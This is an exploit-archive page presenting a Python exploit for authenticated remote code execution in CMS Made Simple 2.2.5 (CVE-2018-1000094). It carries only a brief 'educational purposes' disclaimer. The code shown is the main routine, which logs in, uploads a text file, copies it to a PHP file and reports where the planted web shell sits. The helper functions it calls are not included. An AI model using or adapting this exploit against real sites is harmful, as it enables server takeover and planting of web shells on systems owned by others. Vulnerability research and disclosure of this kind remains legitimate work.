Exploits / Vulnerability Discovered : 2018-07-04 |
Type : webapps |
Platform : php
This exploit / vulnerability Cms made simple 2.2.5 (authenticated) remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094
def run():
cookies,csrf_token = authenticate()
if not cookies:
quit()
if not upload_txt(cookies, csrf_token):
quit()
if not copy_to_php(cookies, csrf_token):
quit()
print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)
run()
Cms made simple 2.2.5 (authenticated) remote code execution